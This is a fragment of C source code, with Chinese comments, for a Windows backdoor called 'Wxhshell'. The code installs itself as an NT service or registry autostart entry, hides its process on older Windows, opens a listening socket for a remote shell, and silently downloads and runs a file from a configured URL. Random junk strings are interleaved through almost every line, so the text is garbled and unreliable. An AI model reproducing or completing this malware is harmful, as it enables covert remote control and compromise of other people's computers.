if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L{Zy7O]"d M:M<bz Vu CloseHandle(hProcess); 0Jif.< AYerz if(strstr(procName,"services")) return 1; // 以服务启动 &^>r<~] QrA+W\=_`y return 0; // 注册表启动 5qko`r@# } a
OHAG Darkj>$\ // 主模块
8eLL int StartWxhshell(LPSTR lpCmdLine) p0@mumh { <6 $%Y2 SOCKET wsl; ]<_+uciP5[ BOOL val=TRUE; #bH[UId[ int port=0; a}{! %5 struct sockaddr_in door; GDntGTE~sk 9(]j
e4Cn if(wscfg.ws_autoins) Install(); P;[mw( 4h(Hy&1C port=atoi(lpCmdLine); p.olXP :.^rWCL2 if(port<=0) port=wscfg.ws_port; 2%H(a) \rO>FE WSADATA data; J'v|^`bE if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3E9j%sYk [G)Sq; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #d(r^U#I setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;I'["k% door.sin_family = AF_INET; )2hoO_l: door.sin_addr.s_addr = inet_addr("127.0.0.1"); wkw/AZ{27 door.sin_port = htons(port); tam/FzVw 7Kjq1zl; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Reo0ZU> closesocket(wsl); wtyu"=
return 1; e2F7G>q:5 } Z2
4 m @x4Dt&:" if(listen(wsl,2) == INVALID_SOCKET) { $r_ gFv closesocket(wsl); g#*N@83C return 1; #a:C=GV;4 } N<%,3W_-_ Wxhshell(wsl); : Tl?yGF WSACleanup(); N<WFe5 s q$|Pad[ return 0; 6Rj
X RPQ)0.O7 } rY.:}D ,j<"~"]
= // 以NT服务方式启动 ,)G,[ih VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b*i+uV? { i&KODhMpP DWORD status = 0; a4YyELXe DWORD specificError = 0xfffffff; ^(3k
uF p,/^x~m3a serviceStatus.dwServiceType = SERVICE_WIN32; bHM
.&4G
serviceStatus.dwCurrentState = SERVICE_START_PENDING; yuBBO:\. serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C~*m&,@TT^ serviceStatus.dwWin32ExitCode = 0; 6iC:l%|u serviceStatus.dwServiceSpecificExitCode = 0; h'+ swPh serviceStatus.dwCheckPoint = 0; }rZp(FG@* serviceStatus.dwWaitHint = 0; 8!fwXm ,5,4 Qf7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tc:`TE=2 if (hServiceStatusHandle==0) return; &2J|v#$F :W"ITY( status = GetLastError(); 2)YLs5>W% if (status!=NO_ERROR) 5**xU+& { u a-p^X`w serviceStatus.dwCurrentState = SERVICE_STOPPED; y C#{nUdw serviceStatus.dwCheckPoint = 0; 511q\w M serviceStatus.dwWaitHint = 0; I6_+3}Hm{ serviceStatus.dwWin32ExitCode = status; oxZ(qfjS serviceStatus.dwServiceSpecificExitCode = specificError; ~c"c9s+o SetServiceStatus(hServiceStatusHandle, &serviceStatus); sBMHf9u return; ej `$-hBBV } t~Ax#H &XP 0 serviceStatus.dwCurrentState = SERVICE_RUNNING; kCV OeXv serviceStatus.dwCheckPoint = 0; DQd&:J@? serviceStatus.dwWaitHint = 0; 8*X8U:.0o if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ewY X \ } Rx.0P6s <jF <_j // 处理NT服务事件,比如:启动、停止 (0r6_8e6xv VOID WINAPI NTServiceHandler(DWORD fdwControl) x,+zw9 {
hT[O5
switch(fdwControl) vEkz5$ { rcOmpgew case SERVICE_CONTROL_STOP: :Pv{E serviceStatus.dwWin32ExitCode = 0; jsj" W&J serviceStatus.dwCurrentState = SERVICE_STOPPED; LCtm@oN serviceStatus.dwCheckPoint = 0; o<y7Ut serviceStatus.dwWaitHint = 0; .?qS8:yA { c<=1,TB"-_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); be_t;p`3 } 'JydaF~> return; !VW#hc\A5 case SERVICE_CONTROL_PAUSE: :n=+$Dq serviceStatus.dwCurrentState = SERVICE_PAUSED; R0>L[1o break; '@FKgy;B)- case SERVICE_CONTROL_CONTINUE: BshS@"8r serviceStatus.dwCurrentState = SERVICE_RUNNING; XcXd7e break; 8Vx'sJ>r4 case SERVICE_CONTROL_INTERROGATE: .dV!d u break; 6O}r4* }; c72/e7gV SetServiceStatus(hServiceStatusHandle, &serviceStatus); P&K~wP] } Rs dACP b3ZPlLx6 // 标准应用程序主函数 oKUJB.PF int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P7n~Ui~U { ]Q+Tm2{ X!m/I
i$q // 获取操作系统版本 ty ~U~ OsIsNt=GetOsVer(); ^t"\PpmK<d GetModuleFileName(NULL,ExeFile,MAX_PATH); ji "*=i OP@PB| // 从命令行安装 _<8n]0lX3 if(strpbrk(lpCmdLine,"iI")) Install(); \*7Tj-# Cpl\}Qn // 下载执行文件 lH[N*9G( if(wscfg.ws_downexe) { e>[QF+e)y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %}@^[E) WinExec(wscfg.ws_filenam,SW_HIDE); #/aWGx_ } j JW0a\0 ^U52
*6 if(!OsIsNt) { S}>rsg! // 如果时win9x,隐藏进程并且设置为注册表启动 lp6GiF HideProc(); 7Y-GbG.' StartWxhshell(lpCmdLine); i<l)To - } g$ h!:wW else J;qH w[6 if(StartFromService()) 0F"xU1z, // 以服务方式启动 j%lW+[% StartServiceCtrlDispatcher(DispatchTable); B=f{`rM)~W else yuND0,e // 普通方式启动 qVf~\H@ StartWxhshell(lpCmdLine); rl4-nA _z_uz\#, return 0; }Vt5].TA }
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